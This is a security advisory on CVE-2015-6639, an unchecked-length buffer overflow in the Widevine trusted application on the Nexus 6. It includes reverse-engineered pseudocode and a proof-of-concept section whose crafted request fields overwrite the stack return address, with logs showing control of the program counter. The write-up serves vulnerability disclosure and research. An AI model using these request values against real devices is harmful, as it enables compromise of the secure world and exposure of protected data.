CVE-2015-6639:
Buffer Overflow in Widevine Trustlet (PRDiagParseAndStoreData @ 0x5c9c)

CVE:

CVE-2015-6639

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

Google

Last edited: 11/04/23

1. Description

Note

While we were researching for potential vulnerabilities in the Widevine Trusted Application, we came across the bug described in this blog entry, among others. Upon further investigation, it turns out that this particular CVE was previously requested by Google. Nonetheless, the following article may serve to provide some additional information about the vulnerability.

Warning

To the best of our knowledge, CVE-2015-6639 has been incorrectly associated with a different vulnerability (CVE-2022-48335). After consulting with MITRE, it has been confirmed that CVE-2015-6639 was reported by Google and corresponds with the vulnerability described in this post.

On the other hand, the actual vulnerability being associated with this CVE had no assigned identifier at the time we checked. Consequently, CVE-2022-48335 has been assigned to it. We have notified all the concerned parties about this misunderstanding so that the confusion can be amended.

This entry describes a vulnerability in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

2. Affected Versions

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).

3. Impact

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

4. Vulnerability

The bug is present in Widevine’s PRDiagParseAndStoreData() command. This bug closely resembles another bug present in the PRDiagVerifyProvisioning() command, which has been featured in other blog entries (refer to CVE-2022-48335). In addition, we identified another vulnerability in this same function (refer to CVE-2022-48336).

The following snippet shows a switch-case present in the TA’s command handler:

switch(*req_buf) {
case 0x50004: // PRDiagProvisionDataHandler
    if ((0x2807 < req_buf_size) && (0x107 < resp_buf_size)) {
        ret = PRDiagProvisionDataHandler(req_buf + 2, req_buf[1]);
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50004, it jumps to the PRDiagProvisionDataHandler() function.

The structure of the Request Buffer for the PRDiagProvisionDataHandler() function is similar to the one used in PRDiagMaintenanceHandler (refer to CVE-2022-48335):

struct widevine_PRDiagProvisionDataHandler_cmd {
        uint32_t cmd_id;
        uint32_t payload_size;
        struct widevine_PRDiagProvisionDataHandler_payload payload;
};

It contains an embedded structure and an integer indicating its size. The embedded structure is defined in the following code-block:

// Internal payload/request buffer for PRDiagProvisionDataHandler command
struct PRDiagProvisionDataHandler_payload {
        enum {
                op_PRDiagParseAndStoreData      = 0,
                PRDiagPDH_FORCE_ENUM_32_BITS = (INT_MAX | ~INT_MAX),
        } op;
        uint32_t compare_flag;
        uint32_t msg_buf_size;
        uint32_t data_len;
        // NOTE: The widevine trustlet checks the size of the request buffer
        // containing the widevine_PRDiagMaintenanceHandler_cmd structure.
        // The entire request buffer must have at least 0x2808 bytes
        char msg_buf[];
};

The PRDiagProvisionDataHandler function firstly determines if keys can be provisioned and then simply copies the payload/request into a temporary heap buffer and passes it to the PRDiagParseAndStoreData() function:

int PRDiagProvisionDataHandler(void *payload, uint32_t payload_size) {
     struct widevine_PRDiagProvisionDataHandler_payload *req;

     ...
     // Check if keys can be provisioned
     ...

     if (!payload || !payload_size) return 0x10;

     req = malloc(payload_size);
     if (!req) return 0xf;

     memcpy(req, payload, payload_size);
     if (req->op == 0) {
         PRDiagParseAndStoreData(req);
     }
     ...

The bug is inside the PRDiagParseAndStoreData function. The main functionality of this function is to store provisioning data into the Secure File System (SFS). The following code snippet shows a simplified version of the PRDiagParseAndStoreData function:

int PRDiagParseAndStoreData(struct PRDiagProvisionDataHandler_payload *req) {
    // Check input and operation
    if (!req || req->op != 0) return 0x10;

    msg_buf_size = req->msg_buf_size;
    msg_buf = &req->msg_buf;

    if (req->data_len) {
        // CVE-2022-48336
        ...
    }
    else {
        // data_len is zero
        strlen(&persist_prefix);
        memzero(&filePathBuffer, 0x80);
        memcpy(&filePathBuffer, msg_buf, msg_buf_size;
        ...

The function first performs some validations on the input and the operation being requested and then checks the data_len value. If this value is zero, it copies the user-controlled msg_buf into a buffer in the data segment (0x2e0fc). The contents and size of this buffer are directly specified by the client through the Request Buffer.

The hardcoded value of the memzero suggests that the size of this buffer is 128 bytes. However, since msg_buf_size is not being checked, this copy operation can cause a buffer overflow:

_images/widevine-memory-5c9c.svg

This vulnerability allows an attacker to overwrite important data structures such as the stack and heap, since they are in higher addresses within this same data segment.

5. Exploitation

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req->cmd_id = 0x50004;  // PRDiagProvisionDataHandler
req->payload.op = 0;    // PRDiagParseAndStoreData
req->payload.msg_buf_size = 0x163c;
// 0x163c overwrites ret-code in the stack
...
memset(req->payload.msg_buf, 'A', req->payload.msg_buf_size);

The Commmand ID 0x50004 is specified to invoke PRDiagProvisionDataHandler(), and the PRDiagParseAndStoreData operation is being specified. In addition, msg_buf_size is set to 0x163c so that it overflows the data buffer and ends up overwriting the return code in the stack:

<5>widevine: "PRDiagProvisionDataHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagParseAndStoreData: begins!"
<5>widevine: "PRDiagParseAndStoreData: returned 1094795585"
<5>widevine: "PRDiagProvisionDataHandler: returned 1094795585"

It can be observed that the returning value is 1094795585, which is the decimal representation of the value 0x41414141 that comes from our msg_buf buffer. We can also verify that this value is stored in the response buffer returned by the trusted application:

[*] Widevine PRDiagProvisionDataHandler => Return code: 0x41414141

Adding four more bytes to the buffer being copied allows us to overwrite the return address in the stack and thus give us control over the execution flow:

req->cmd_id = 0x50004;  // PRDiagProvisionDataHandler
req->payload.op = 0;    // PRDiagParseAndStoreData
req->payload.msg_buf_size = 0x1640;
// 0x1640 overwrites return address in the stack
...
memset(req->payload.msg_buf, 'A', req->payload.msg_buf_size);

Note that the difference is that we added four bytes to msg_buf_size:

<5>widevine: "PRDiagProvisionDataHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagParseAndStoreData: begins!"
*** crash @ 0x41414140 ***

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP_FAULTED. In this case, Widevine crashes because it ends up jumping to the address 0x41414140 coming from our msg_buf buffer.

<4>QSEECOM: qseecom_load_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom_load_app: App with id 3 (widevine) now loaded
<3>QSEECOM: __qseecom_send_cmd: Response result -1 not supported
<3>QSEECOM: qseecom_ioctl: failed qseecom_send_cmd: -22
<4>QSEECOM: qseecom_unload_app: App id 3 now unloaded